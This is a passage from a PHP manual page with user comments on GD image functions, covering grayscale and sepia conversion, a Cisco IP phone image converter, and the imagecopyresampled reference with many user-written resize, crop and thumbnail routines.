    for ($y = 0; $y <$img_height; $y++)
    {
        for ($x = 0; $x <$img_width; $x++)
        {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

          //sephia
            $red2 = min($red*.393 + $green*.769 + $blue*.189,255);
            $green2 = min($red*.349 + $green*.686 + $blue*.168,255);
            $blue2  = min($red*.272 + $green*.534 + $blue*.131,255);
            // shift gray level to the left

            $grayR = $red2 << 16;   // R: red
            $grayG = $green2 << 8 ;    // G: green
            $grayB = $blue2;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>
Mark Barba 15-Aug-2005 09:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
    $img_width  = imageSX($im2);
    $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

    // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
    ImageTrueColorToPalette2($im2,FALSE,4);

    // Basic header for CIP Image files...
    header ("Content-type: text/xml");
    echo "<CiscoIPPhoneImage> ";
    echo "<LocationX>-1</LocationX> ";
    echo "<LocationY>-1</LocationY> ";
    echo "<Width>132</Width> ";
    echo "<Height>65</Height> ";
    echo "<Depth>2</Depth> ";
    echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
            for ($ix = 0; $ix < 4; $ix++)
            {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
                $gray1 = $Gray1[0];
                $gray2 = $Gray1[1] << 2;
                $gray3 = $Gray1[2] << 4;
                $gray4 = $Gray1[3] << 6;

                // Pack 4 pixels into a single byte for CIP images
                $grey = $gray1 | $gray2 | $gray3 | $gray4;

                // CIP image data is sent in HEX, strtoupper is not really needed.
                $code = strtoupper(dechex($grey));

                // My quick fix to padding single HEX values
                if (strlen($code)==1) $code = "0".$code;
                echo $code;

       }

   }
    echo "</Data>";
    echo "<Title>$myvar</Title> ";
    echo "<Prompt>$city</Prompt> ";
    echo "</CiscoIPPhoneImage>";
    exit;
switch251 at netcourrier dot com 15-Apr-2004 04:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
    // replace with your files
    $originalFileName    = "colorPicture.jpg";
    $destinationFileName = "bwPicture.jpg";

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++) {
        for ($x = 0; $x <$img_width; $x++) {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

            $gray = round(.299*$red + .587*$green + .114*$blue);

            // shift gray level to the left
            $grayR = $gray << 16;   // R: red
            $grayG = $gray << 8;    // G: green
            $grayB = $gray;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com 16-Feb-2004 01:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net 18-Oct-2003 09:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de 09-Oct-2003 09:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
    // Get the image's width
    $im_w = imagesx($im);
    // Get the image's height
    $im_h = imagesy($im);
    // Set a pixel with the color, so we can get it easily
    $setpixel = imagesetpixel($im,$im_w,0,$col);
    // Get the color
    $index = imagecolorat($im,$im_w,0);
    // Find the color in the index
    $rgb = imagecolorsforindex($im,$index);
    // Get the red value
    $r = $rgb["red"];
    // Get the green value
    $g = $rgb["green"];
    // Get the blue value
    $b = $rgb["blue"];
    // Create the layover
    $layover = imagecreate($im_w,$im_h);
    // Allocate the color on this image
    $color = imagecolorallocate($layover,$r,$g,$b);
    // Fill the image with the new color (this really isn't needed)
    $fill = imagefill($layover,0,0,$color);
    // Merge the layover on top of the older image
    $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
    imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)


Copy and resize part of an image with resampling

  • « imagecopymergegray
  • imagecopyresized »
  • PHP Manual
  • GD and Image Functions
  • Copy and resize part of an image with resampling

imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5)

imagecopyresampled — Copy and resize part of an image with resampling

Description

bool imagecopyresampled ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )

imagecopyresampled() copies a rectangular portion of one image to another image, smoothly interpolating pixel values so that, in particular, reducing the size of an image still retains a great deal of clarity.

In other words, imagecopyresampled() will take a rectangular area from src_image of width src_w and height src_h at position (src_x,src_y) and place it in a rectangular area of dst_image of width dst_w and height dst_h at position (dst_x,dst_y).

If the source and destination coordinates and width and heights differ, appropriate stretching or shrinking of the image fragment will be performed. The coordinates refer to the upper left corner. This function can be used to copy regions within the same image (if dst_image is the same as src_image) but if the regions overlap the results will be unpredictable.

Parameters

dst_image

Destination image link resource.

src_image

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

dst_w

Destination width.

dst_h

Destination height.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple example

This example will resample an image to half its original size.

<?php
// The file
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-Type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// Output
imagejpeg($image_p, null, 100);
?>

The above example will output something similar to:

Output of example : Simple example

Example #2 Resampling an image proportionally

This example will display an image with the maximum width, or height, of 200 pixels.

<?php
// The file
$filename = 'test.jpg';

// Set a maximum height and width
$width = 200;
$height = 200;

// Content type
header('Content-Type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>

The above example will output something similar to:

Output of example : Resampling an image proportionally

Notes

Note:

There is a problem due to palette image limitations (255+1 colors). Resampling or filtering an image commonly needs more colors than 255, a kind of approximation is used to calculate the new resampled pixel and its color. With a palette image we try to allocate a new color, if that failed, we choose the closest (in theory) computed color. This is not always the closest visual color. That may produce a weird result, like blank (or visually blank) images. To skip this problem, please use a truecolor image as a destination image, such as one created by imagecreatetruecolor().

See Also

imagecopyresized() - Copy and resize part of an image

User Contributed Notes

julien at go-on-web dot com 02-Apr-2014 05:59
Windows does not accept floating width and height...

So, in "Example #2 Resampling an image proportionally", prefer :
<?php
if ($width/$height > $ratio_orig) {
   $width = round( $height*$ratio_orig );
} else {
   $height = round( $width/$ratio_orig );
}
?>
(used "round")
otherwise your image wont be resized.
kazuya 11-Mar-2014 11:24
<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
sam at durosoft.com 18-Aug-2013 03:18
The ultimate smart image re-sizing routine. You provide the original image, and a desired width and/or height. The function will intelligently re-size the original image to fit, centered, within the specified dimensions. Either width or height can be omitted to have the re-size "lock" only on width or height. Fantastic for thumbnail generation. Designed to work with PNG's.

function resize_image_smart($orig, $dest_width=null, $dest_height=null)
{
  $orig_width = imagesx($orig);
  $orig_height = imagesy($orig);
  $vertical_offset = 0;
  $horizontal_offset = 0;
  if($dest_width == null)
  {
    if($dest_height == null)
    {
      die('$dest_width and $dest_height cant both be null!');
    }
    // height is locked
    $dest_width = $dest_height * $orig_width / $orig_height;
  } else {
    if($dest_height == null)
    {
      // width is locked
      $dest_height = $dest_width * $orig_height / $orig_width;
    } else {
      // both dimensions are locked
      $vertical_offset = $dest_height - ($orig_height * $dest_width) / $orig_width;
      $horizontal_offset = $dest_width - ($dest_height * $orig_width) / $orig_height;
      if($vertical_offset < 0) $vertical_offset = 0;
      if($horizontal_offset < 0) $horizontal_offset = 0;
    }
  }
  $img = imagecreatetruecolor($dest_width, $dest_height);
  imagesavealpha($img, true);
  imagealphablending($img, false);
  $transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
  imagefill($img, 0, 0, $transparent);
  imagecopyresampled($img, $orig, round($horizontal_offset / 2),
                                  round($vertical_offset / 2),
                                  0,
                                  0,
                                  round($dest_width - $horizontal_offset),
                                  round($dest_height - $vertical_offset),
                                  $orig_width,
                                  $orig_height);
  return $img;
}
wbcarts at juno dot com 21-Jul-2013 04:58
FOUR RECTANGLES -- The Tools to Use this Function Creatively

A rectangle is not an image, but every image has a Rectangled boundary with x=0 and y=0. The width and height are obtained with the getimagesize function.

Because this function allows subimage areas to be defined, there are actually four rectangled areas that we need to be aware of.

* R1 -- Source Image Boundaries
* R2 -- Source Copy Area Boundaries
* R3 -- Destination Image Boundaries
* R4 -- Destination Resampled Placement Area Boundaries

+-----------------------+  +-----------------+
|          R1           |  |        R3       |
|                       |  |                 |
|    +------------+     |  |                 |
|    |            |     |  |                 |
|    |            |     |  |      +------+   |
|    |     R2     |     |  |      |      |   |
|    |            |     |  |      |  R4  |   |
|    |            |     |  |      |      |   |
|    |            |     |  |      +------+   |
|    +------------+     |  |                 |
|                       |  +-----------------+
|                       |
+-----------------------+

R1 contains all of the original pixel data. If R2 goes outside of R1 in any direction, then R2 will contain stuff that doesn't help. A lot of the time R2 == R1 exactly.

R3 defines the area that holds the resampled image data. If R4 goes outside of R3 in any direction, then the resampled image data in R4 will be clipped by R3. In other words, R3 has the final say as to which of R4's pixels will be included in the final image. Most of the time, R4 == R3.

In the end, R2 (and the pixels in it) will be strecthed, squeezed, and placed exactly over R4.

There are plenty of good examples on this page to create thumbnails etc. But what if R3 was not destined to be a thumbnail? What if we wanted to take the entire R1 image and shrink it to fit inside R2 for example, leaving the original picture as a border? With the knowledge we have just gained it is a simple matter of creating the Source & Destination Images from the same .jpg file, then R2 should be equal to R1, and R4 should be smaller and completely inside R3.

When we think of these rectangles as tools and not images, it becomes easier to see what's going on.
wbcarts at juno dot com 19-Jul-2013 04:14
FOUR RECTANGLES

                  $src_image                                   $dst_image
+------------+---------------------------------+   +------------+--------------------+
|            |                                 |   |            |                    |
|            |                                 |   |         $dst_y                  |
|            |                                 |   |            |                    |
|         $src_y                               |   +-- $dst_x --+----$dst_width----+ |
|            |                                 |   |            |                  | |
|            |                                 |   |            |    Resampled     | |
|            |                                 |   |            |                  | |
+-- $src_x --+------ $src_width ------+        |   |       $dst_height             | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            +------------------+ |
|            |        Sample          |        |   |                                 |
|            |                        |        |   |                                 |
|            |                        |        |   |                                 |
|       $src_height                   |        |   |                                 |
|            |                        |        |   +---------------------------------+
|            |                        |        |
|            |                        |        |
|            +------------------------+        |
|                                              |
|                                              |
+----------------------------------------------+
hoangvu4000 at gmail dot com 27-May-2013 02:50
My complete function to resize an image  with exif data

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);
        if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        }
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);

}
?>
alex-thennstaett-remove at gmx dot net 11-Nov-2012 02:06
Having updated GD-Library from 2.0.35-r1 to 2.0.35-r3 using negative numbers for $dstX or $dstY started to produce unpredictable results, such as inserting shrinked images and enlarging $dstH or $dstW all by itself. While it did work fine previously, one should avoid using or calculating negative numbers for imagecopyresampled from the beginning.
jagarock at gmail dot com 21-Oct-2011 10:27
A simple function that will crop xxx px from the bottom of the image.

<?php
function cropBottom($image,$bottom) {
list($width, $height) = getimagesize($image);
$img = imagecreatefromjpeg($image);
$crop = imagecreatetruecolor($width,$height-$bottom);
imagecopyresampled ( $crop, $img, 0, 0, 0, 0, $width, $height, $width, $height );
imagejpeg($crop,$image,85);
}
?>
promaty at gmail dot com 18-May-2011 02:26
Here is my ultimate image resizer that preserves transparency for gif's and png's and has an option to crop images to fixed dimensions (preserves image proportions by default)

<?php
function image_resize($src, $dst, $width, $height, $crop=0){

  if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }

  // resize
  if($crop){
    if($w < $width or $h < $height) return "Picture is too small!";
    $ratio = max($width/$w, $height/$h);
    $h = $height / $ratio;
    $x = ($w - $width / $ratio) / 2;
    $w = $width / $ratio;
  }
  else{
    if($w < $width and $h < $height) return "Picture is too small!";
    $ratio = min($width/$w, $height/$h);
    $width = $w * $ratio;
    $height = $h * $ratio;
    $x = 0;
  }

  $new = imagecreatetruecolor($width, $height);

  // preserve transparency
  if($type == "gif" or $type == "png"){
    imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
    imagealphablending($new, false);
    imagesavealpha($new, true);
  }

  imagecopyresampled($new, $img, 0, 0, $x, 0, $width, $height, $w, $h);

  switch($type){
    case 'bmp': imagewbmp($new, $dst); break;
    case 'gif': imagegif($new, $dst); break;
    case 'jpg': imagejpeg($new, $dst); break;
    case 'png': imagepng($new, $dst); break;
  }
  return true;
}
?>

Example that I use when uploading new images to the server.

This saves the original picture in the form:
original.type

and creates a new thumbnail:
100x100.type

<?php
  $pic_type = strtolower(strrchr($picture['name'],"."));
  $pic_name = "original$pic_type";
  move_uploaded_file($picture['tmp_name'], $pic_name);
  if (true !== ($pic_error = @image_resize($pic_name, "100x100$pic_type", 100, 100, 1))) {
    echo $pic_error;
    unlink($pic_name);
  }
  else echo "OK!";
?>

Cheers!
guru_boy87 at hotmail dot com 23-Jun-2010 01:52
Function to resize an image.

<?php
function resizeImage($originalImage,$toWidth,$toHeight)
{

    list($width, $height) = getimagesize($originalImage);
    $xscale=$width/$toWidth;
    $yscale=$height/$toHeight;

    if ($yscale>$xscale){
        $new_width = round($width * (1/$yscale));
        $new_height = round($height * (1/$yscale));
    }
    else {
        $new_width = round($width * (1/$xscale));
        $new_height = round($height * (1/$xscale));
    }

    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    return $imageResized;

}
?>
seifer at loveletslive dot com 25-Oct-2009 02:27
Okay so I saw that others have posted this already but I just messed around and made it so figured I would share it.

Mine works, not to say others don't, I haven't tested them.

This function creates a thumbnail of the specfied size.
If the thumbnail is a different ration it will automatically crop the center of the source image.

It works if the source image is bigger or smaller than the desired "cropped thumbnail."

Here is the code...
<?php
function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.
    //getting the image dimensions
    list($width_orig, $height_orig) = getimagesize($imgSrc);
    $myImage = imagecreatefromjpeg($imgSrc);
    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {
       $new_height = $thumbnail_width/$ratio_orig;
       $new_width = $thumbnail_width;
    } else {
       $new_width = $thumbnail_height*$ratio_orig;
       $new_height = $thumbnail_height;
    }

    $x_mid = $new_width/2;  //horizontal middle
    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);
    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

    imagedestroy($process);
    imagedestroy($myImage);
    return $thumb;
}

//Create the thumbnail
$newThumb = CroppedThumbnail("MyImageName.jpg",75,100);

// And display the image...
header('Content-type: image/jpeg');
imagejpeg($newThumb);
?>
michael at heymichael dot com 23-Oct-2009 07:08
imagecopyresampled() works amazingly well, but here is something NOT to try with it:

The resize routine I wrote looks for pixel widths, and resizes images based on the notion that if their widths and heights are too big, so are their byte sizes. It worked out well at first.

But when I saw huge byte-size images slipping through beneath my 1000px-wide benchmark, I figured I'd subject the smaller-width images to resizing if their filesize() exceeded 100K.

The idea was that I'd "resize" them keeping their original widths and heights (i.e. in (1) below, $newW = $oldW, $newH = $oldH), and letting the "75" at (2) below reduce the byte size.

DON'T try that. imagecopyresampled() will lock up the server trying to resize an 800px-wide image to a "new" width of 800px. (I caught that on my Windows server before ever putting it on the destination Linux server, so take that with a grain of salt.)

I got around it by making $newW = ($picW * 0.99), etc. You get the byte-size reduction you want without locking up.

(1) imagecopyresampled($image_p, $image, 0, 0, 0, 0, $newW, $newH, $picW, $picH);

(2) imagejpeg($image_p, $theFile, 75);
asgaroth dot belem at gmail dot com 27-Aug-2009 09:42
In case you are having trouble ( like I did ) and getting some kind of noise in the resampled image.

then changing imagecopyresampled() with imagecopyresized()  removes the noise, found that here: http://bugs.php.net/bug.php?id=45030

Do not ask me why. but it works.
asgaroth dot belem at gmail dot com 26-Aug-2009 08:38
About preserving the  transparency when resizing PNGs this was the only thing that worked for me:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocatealpha($new_watermark, 0, 0, 0, 127));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
?>

Tried without success:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocate($new_watermark, 0, 0, 0));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
 ?>

hope it helps someone.
z3n666 at gmail dot com 27-Apr-2009 08:19
I was looking around and couldn't find a function that resizes images to any ratio without leaving a blank area, so i wrote this one. It's able to resize images to any size ratio, when the ratio is no match with the original it will crop proportional area on the original and resize it.

<?php

function _ckdir($fn) {
    if (strpos($fn,"/") !== false) {
        $p=substr($fn,0,strrpos($fn,"/"));
        if (!is_dir($p)) {
            _o("Mkdir: ".$p);
            mkdir($p,777,true);
        }
    }
}
function img_resizer($src,$quality,$w,$h,$saveas) {
    /* v2.5 with auto crop */
    $r=1;
    $e=strtolower(substr($src,strrpos($src,".")+1,3));
    if (($e == "jpg") || ($e == "peg")) {
        $OldImage=ImageCreateFromJpeg($src) or $r=0;
    } elseif ($e == "gif") {
        $OldImage=ImageCreateFromGif($src) or $r=0;
    } elseif ($e == "bmp") {
        $OldImage=ImageCreateFromwbmp($src) or $r=0;
    } elseif ($e == "png") {
        $OldImage=ImageCreateFromPng($src) or $r=0;
    } else {
        _o("Not a Valid Image! (".$e.") -- ".$src);$r=0;
    }
    if ($r) {
        list($width,$height)=getimagesize($src);
        // check if ratios match
        $_ratio=array($width/$height,$w/$h);
        if ($_ratio[0] != $_ratio[1]) { // crop image

            // find the right scale to use
            $_scale=min((float)($width/$w),(float)($height/$h));

            // coords to crop
            $cropX=(float)($width-($_scale*$w));
            $cropY=(float)($height-($_scale*$h));

            // cropped image size
            $cropW=(float)($width-$cropX);
            $cropH=(float)($height-$cropY);

            $crop=ImageCreateTrueColor($cropW,$cropH);
            // crop the middle part of the image to fit proportions
            ImageCopy(
                $crop,
                $OldImage,
                0,
                0,
                (int)($cropX/2),
                (int)($cropY/2),
                $cropW,
                $cropH
            );
        }

        // do the thumbnail
        $NewThumb=ImageCreateTrueColor($w,$h);
        if (isset($crop)) { // been cropped
            ImageCopyResampled(
                $NewThumb,
                $crop,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $cropW,
                $cropH
            );
            ImageDestroy($crop);
        } else { // ratio match, regular resize
            ImageCopyResampled(
                $NewThumb,
                $OldImage,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $width,
                $height
            );
        }
        _ckdir($saveas);
        ImageJpeg($NewThumb,$saveas,$quality);
        ImageDestroy($NewThumb);
        ImageDestroy($OldImage);
    }
    return $r;
}

?>
satanas147 at gmail dot com 02-Apr-2009 05:33
Another add-on to previous php5 class for thumbnail (with a merge of Matt and Zorro's proposals).
This is dedicated to generate thumbnail on the fly for a webpage using the subclass thumbnail.
It saves the generated thumb as myimage_tn, in the same directory.
I'm quite new with php5, so I think this could be optimized, but it seems to work fine.

<?php
// Imaging
class imaging
{
    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {
        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));
        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;
        }
        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;
        }
        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;
        }
        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);
    }

    // Set maximum image size (pixels)
    public function set_size($max_x = 100,$max_y = 100)
    {
        // Resize
        if($this->x_input > $max_x || $this->y_input > $max_y)
        {
            $a= $max_x / $max_y;
            $b= $this->x_input / $this->y_input;
            if ($a<$b)
            {
                $this->x_output = $max_x;
                $this->y_output = ($max_x / $this->x_input) * $this->y_input;
            }
            else
            {
                $this->y_output = $max_y;
                $this->x_output = ($max_y / $this->y_input) * $this->x_input;
            }
            // Ready
            $this->resize = TRUE;
        }
        // Don't resize
        else { $this->resize = FALSE; }
    }
    // Set image quality (JPEG only)
    public function set_quality($quality)
    {
        if(is_int($quality))
        {
            $this->quality = $quality;
        }
    }
    // Save image
    public function save_img($path)
    {
        // Resize
        if($this->resize)
        {
            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);
        }
        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {
            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }
        }
        // Save PNG
        elseif($this->format == "PNG")
        {
            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
        // Save GIF
        elseif($this->format == "GIF")
        {
            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
    }
    // Get width
    public function get_width()
    {
        return $this->x_input;
    }
    // Get height
    public function get_height()
    {
        return $this->y_input;
    }
    // Clear image cache
    public function clear_cache()
    {
        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);
    }
}
class thumbnail extends imaging {
    private $image;
    private $width;
    private $height;

    function __construct($image,$width,$height) {
parent::set_img($image);
parent::set_quality(80);
parent::set_size($width,$height);
            $this->thumbnail= pathinfo($image, PATHINFO_DIRNAME).pathinfo($image, PATHINFO_FILENAME).'_tn.'.pathinfo($image, PATHINFO_EXTENSION);
parent::save_img($this->thumbnail);
parent::clear_cache();
        }
